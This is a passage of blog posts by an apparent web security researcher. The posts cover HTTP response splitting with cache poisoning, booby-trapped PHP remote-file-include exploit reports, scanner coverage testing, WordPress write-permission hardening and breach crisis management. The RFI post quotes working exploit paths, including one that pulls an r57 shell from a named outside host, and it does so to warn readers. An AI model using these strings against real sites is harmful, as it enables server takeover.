So I’m back from the OWASP New Jersey meeting at Verizon. One word - wow. It was a lot different than I thought it would be. I’ve been to dozens of OWASP meetings, and they really vary. I think the smallest meeting I’ve been to was 10 people and now the biggest was the OWASP New Jersey meeting, run by Tom Brennan. The crowd was filled with suits (for once I felt like one of the least well dressed people in the room). Lots of people from local industry (telcom, healthcare, etc…) as well as various three letter agencies.

One thing that came up (that I had known about for a while, but for some reason it’s just not been made super public yet) was some of the work Arian Evans has been doing with HTTP Response splitting. When he started working with it he realized that he was inadvertantly taking out huge chunks of the site with his own content. After some debugging he realized he was hitting caching servers (a la Amit Klein’s work). But there are two nasty things about that that go above and beyond what we knew before.

The first is that it can re-write the caching headers, so that instead of a 5 minute time-out like you intended for your caching server to use, it can be upped to months or years, causing a much larger problem. The second is that is not a one to one, but a one to many relationship. That is, you can take over pages that are well beyond the reach that you normally have - including pages you don’t technically have access to, which can potentially give you access to anything under any user (ultimate persistent XSS). Super nasty! So yah, I wasn’t sure how quiet that was, but Arian finally let the cat out of the bag, so there it is.

So it was a really good conference all in all and definitely worth the hellish travel schedule to get out there. It’ll probably be smaller than the global OWASP meeting in November, of course, but for a simple regional meeting it was really impressive. I also hear rumors of a World CON in New York City next year. I for one, am looking forward to it.

Update: I should go back and read all the old Amit papers. He came up with all of this stuff years ago. Is there anything that guy hasn’t done? His two papers are here and here.

Well, I’m glad to be back in the land of the living - I’ve been doing so much travel lately, I feel like my brain is melting. I’ll be traveling several more times this month too. However, I’ve learned a lot in my travels, and now it’s just a matter of sitting down and prioritizing what’s important and writing it all down. So just for starters, here’s something I have been playing with. Lately I’ve been playing around with a predictable resource locater that I wrote which eventually got morphed into a PHP RFI (remote file includes) attack tool to speed up certain types of audits. Yes, other people have built these kinds of things before, but I haven’t so it was an interesting exercise for yours truly.

Anyway, I started really looking at milw0rm pretty heavily, just looking through pages and pages of historical RFI disclosure reports. At first glance, it’s really ugly. None of it is consistent, half of it is almost entirely designed to make cutting and pasting the exploit a pain in the butt, and there are the other bad guys. Let’s take two examples. The first is from a PeopleAggregator exploit:

/web/Flickrclient.php?path_prefix=shell

Pretty simple, just replace the word shell with your PHP shell on your server, pre-pend the domain name and poof, you’ve got yourself a working exploit. Now let’s look at a bad one from a Component JoomlaPack exploit:

/administrator/components/com_jpack/includes/CAltInstaller.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?

Someone not familiar with how RFI works could easily just prepend the vulnerable machine name, not knowing what it would do, but in turn they are owning it with a working shell from a live server. This gives the author of the exploit access to many more machines without a) having been the person to perform the vulnerability, and b) having to scan for the vulnerable application (or even necessarily having access to it). In some cases the vulnerable machine may be behind a firewall and accessible only to internal staff. Now you’ve not only owned the machine but potentially installed shell that can connect back to a parent (via IRC probably) and give the attacker a way into the network.

There are lots of variants of this, that I’ve seen now. Another one that’s pretty clever is from a phpMyPortal exploit. The way the exploit is written it requires that you throw it up on a webserver somewhere (probably yours if you are testing to see if your install is vulnerable) and poof you install a backdoor from spy-art.com. Nasty.

We’ve seen this kind of thing happen before with shell code that’s been written to own the user who runs it, and this is no different. Watch out for those crazy vulnerability reports. And this is yet another reason to make sure your soft juicy internal networks are secure too. When in doubt if you don’t understand the report, rather than running it yourself, it’s probably better left to the experts.

One of the most difficult aspects of web application security scanners is understanding how to evaluate them. Obviously the false positive false negative ratios are important, but it’s often difficult to measure, as it depends on the web application in question. However, Larry Suto came up with a very interesting concept on how to do unbiased measurements of web application scanners. One of the most important measurements is to understand how well the spider portion of the scanner works.

Think about it - if the scanner can’t actually reach a certain percentage of the application how is it going to find vulnerabilities in what it can’t reach? That’s the premise that Larry was working on. So he took three scanners, NTObjective’s NTOSpider, IBM/Watchfire’s AppScan and HP/SPI Dynamics’ WebInspect and ran them against several different vulnerable applications. He then measured them by looking at the number of links crawled, the coverage of the applications (using Fortify’s Tracer) and then he measured the false positive and false negative ratios.

NTObjective’s spider came in first with AppScan and WebInspect a distant second and third respectively - both in terms of coverage and false positives/negatives. Personally, I’m really more interested in the coverage though, because writing signatures is relatively easy once you have a good scanner to utilize them. Anyway, I believe this is one of the first truly unbiased ways to measure and compare a web application scanner’s performance. Larry’s web application scanner coverage paper and statistics can be found here.

It’s been a while since I posted about the Wordpress changes I’ve made, and I’m still not planning on releasing an open source package of it, but I thought I should at least talk about one of the changes I made because they really are worth talking about. One of the biggest flaws in how Wordpress is architected is that it expects to be able to write onto the file system. More dangerous than that, is that it expects to be able to write to parts of the drive within the server root AND files that are actually interpreted by the system (.htaccess and .php). Ouch! One vuln and you can kiss your server goodbye. But it’s worse than that.

On multi-user systems you have to worry about not just outsiders, but others on the same system potentially hijacking your system. Let’s say there are two www writable user directories, one with Wordpress, and the other with nothing other than PHP or CGI access. Suddenly, because the www user can access the place on disc the attacker (the other user on the file system) can now take over the other person’s install by writing a CGI or PHP function. The attacker runs it from their browser, which accesses the site, which runs as the www user, which has access to write into the other person’s .htaccess file or php. From there, they now have complete access to hijack the site.

That’s pretty bad, but there is a very simple solution. Once configuration is complete, remove all www access from being able to write to those files. Pretty simple, huh? That makes changing the configuration a bit of a pain, but who cares? How often do you configure your site? Once a year? Compared to the problems it can cause to allow it to be configurable, it’s worth it. Really, there is a better way so solve the multi-user system problem though - and that would be to use an apache module that allowed it to run as multiple users (one per user). It would have to start as root, of course, but it could spawn as many processes as required to get the user seperation needed. That way one user couldn’t access another user’s webserver directory period, unless the user foolishly did something like chmoding a file 666 or 777 instead of 600 or 700 or something.

Last night I was listening to the radio regarding the latest debacle with Countrywide and how they have hired a PR firm to deal with the crisis of everyone thinking they alone are responsible for the real estate crunch. That’s the boring part, the interesting part, I thought, was the three steps towards dealing with a major crisis. How this relates to webappsec and getting hacked? We’ll see. But here are the steps (modified slightly to make sense with webappsec):

First, explain what happened. Tell the consumers what happened, why it happened, and if there is any way to shift blame now is the time to do it. This is the first critical step though, because it will no doubt come up later in an investigation, so you can’t lie, but you can spin. This is where you explain as many details about how you were hacked as possible. And if you don’t know the answer, here is where you say the authorities are looking at it, or there is an ongoing investigation to uncover the details.

Second, attempt to make the consumer whole. That is, if the consumer lost something during the crisis (whether it be a loved one, or a password) attempt to compensate them, or fix the issue. Sometimes this can involve patch management, and sometimes it involves settlement of a class action lawsuit.

Third, take visible steps to assure the consumer that it will never happen again. How is a consumer ever going to trust you again if you can’t prove to them that you have fixed the technology issue that allowed the hole to exist in the first place? And I’m not just talking about that example of that specific hole, but all future holes like it, for the rest of time. This is the hardest step, because it allows for some public scrutiny of the company’s ability to protect the consumer. Maybe it’s building a robot to scan the corporate systems for exploits, but that implies that the robot is as good at finding holes as hackers are. Although hackers aren’t fooled by that, perhaps enough consumers are to make this a viable solution to the third step of web application security crisis management.

Now as a case study, let’s look at something that just happened with Google - the cross site scripting exploit in Google’s Mini Search Appliance. After 12 days, they admitted to the problem (perhaps a little long given you could just look at it and see the problem). That met the first phase of crisis management. The second phase - making the consumer whole - was by delivering a patch to the customers. Granted, that makes the consumer do more work (hidden costs) to use the product, but I think we as a tech industry are used to that kind of thing and although we forget to calculate it into our cost models, we bite the bullet and eat the additional expense.

But what about the last one? What has Google done to convince the consumer that they will never have this problem again? From what I can tell, nothing. Not to pick on Google specifically here, but isn’t that our biggest fear? Sure, we know they can fix the problems once they know about it, but what about the ones they don’t know about? They have had a hard time lately, and have been unable to prove their ability to write secure code. They have essentially failed the last step of webappsec crisis management. Again, not to pick on them, because there are lots of companies who have done worse, but it’s a good case study in why each and every step is vital for public perception.